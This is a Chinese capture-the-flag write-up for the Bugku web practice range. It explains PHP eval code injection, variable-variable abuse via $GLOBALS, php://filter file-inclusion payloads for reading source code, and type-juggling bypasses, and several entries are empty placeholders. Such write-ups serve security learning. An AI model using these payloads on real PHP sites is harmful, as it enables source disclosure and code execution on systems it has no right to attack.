Bugku-web指南
bugku靶場
web
web1
https://segmentfault.com/a/1190000016750234
知識基礎
涉及到的幾個函式:
1.$_REQUEST: 可以獲取以POST方法和GET方法提交的資料,但是速度比較慢
2.eval: 把字串按照 PHP 程式碼來計算,該字串必須是合法的 PHP 程式碼,且必須以分號結尾。
<?php
eval("echo'hello';echo' world';");
?>
# output
hello world
3.var_dump: 函式用於輸出變數的相關資訊
# 數字 var_dump(1); > int(1) # 字串 var_dump("string"); > string(6) "string"
解題思路
eval應該是此題的突破口,能夠執行php程式碼。
hello是接受引數的變數,接下來就是構建hello變數,使其能夠閉合var_dump,利用print_r輸出
首先閉合var_dump: 1)";
第二步構建print_r:print_r(file("./flag.php"));
URL構建結束:
http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")
構建的URL觸發的 eval操作為
eval("var_dump(1);print_r(file("./flag.php")")
成功輸出 flag.php 檔案內容
web2
這題考爆破密碼
web3
這題原始碼有問題
知識基礎
PHP自動化的全域性變數:**$GLOBALS** — 引用全域性作用域中可用的全部變數,一個包含了全部變數的全域性組合陣列。變數的名字就是陣列的鍵解題思路
正則表示式"/^\w+$/",匹配字串,\w表示字元+數字+下劃線{ a-z,A-Z,_,0-9 }。如果不匹配會輸出 ‘’args error!‘’\
兩個`/``/`表明正則表示式的開始與結束,`^`開始字元,`$`結束字元,`+`代表可以有一個或多個`\w`
PHP中變數可以當作另一個變數的變數名:$$args,結合第一句flag In the variable !
所以構造payload:URL?args=BLOBLAS
即可爆出所有args,其中包含flag
web4
知識基礎
通過抓包修改file值的辦法去執行一些本來不該執行的檔案
也可以通過此方法直接輸出一些敏感的配置檔案和遠端包含shell(需要目標主機開啟allow_url_fopen)
解題思路
通過構造如下語句:
http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
就能獲得xxx.php的程式碼的base64加密結果,通過base64解密後便可獲得xxx.php的程式碼
web5
知識基礎
這題不難,看php語言都會了解題思路
``` $what=$_GET['what']; echo $what; if($what=='flag') echo 'flag{****}'; ```http://xxx.com/?what=flag
web6
知識基礎
``` $what=$_POST['what']; echo $what; if($what=='flag') echo 'flag{****}'; ```解題思路
很明顯這個是post請求web7
知識基礎
> JavaScript是一種屬於網路的指令碼語言,已經被廣泛用於Web應用開發,常用來為網頁新增各式各樣的動態功能,為使用者提供更流暢美觀的瀏覽效果。通常JavaScript指令碼是通過嵌入在HTML中來實現自身的功能的。 > jother是另類的javascript工具 > 一堆+!的東西就用jother解碼 > 可以開啟谷歌瀏覽器 按F12 > 然後console將那堆解碼的東西複製過去 按回車即可解碼 >解題思路
多看原始碼,我也不知道這是什麼鬼copy到console
顯示"ctf{whatfk}"
得到flag
web8
知識基礎
php
$num=$_GET['num'];//GET方式獲取引數
if(!is_numeric($num))//is_numeric()函式是判斷是否為數字或者數字字串
{
echo $num;
if($num==1)//矛盾既要是1又要不是數字
echo 'flag{**********}';
}
解題思路
構造num=1X X還可以是任何字母或者字串,構造url:http://xxx.com/get/index1.php?num=1xx得到flag
web9
知識基礎
1
解題思路
1
web10
知識基礎
1
解題思路
1
web11
知識基礎
1
解題思路
1
web12
知識基礎
1
解題思路
1
web13
知識基礎
1
解題思路
1
web14
知識基礎
1
解題思路
1
web15
知識基礎
1
解題思路
1
web16
知識基礎
1
解題思路
1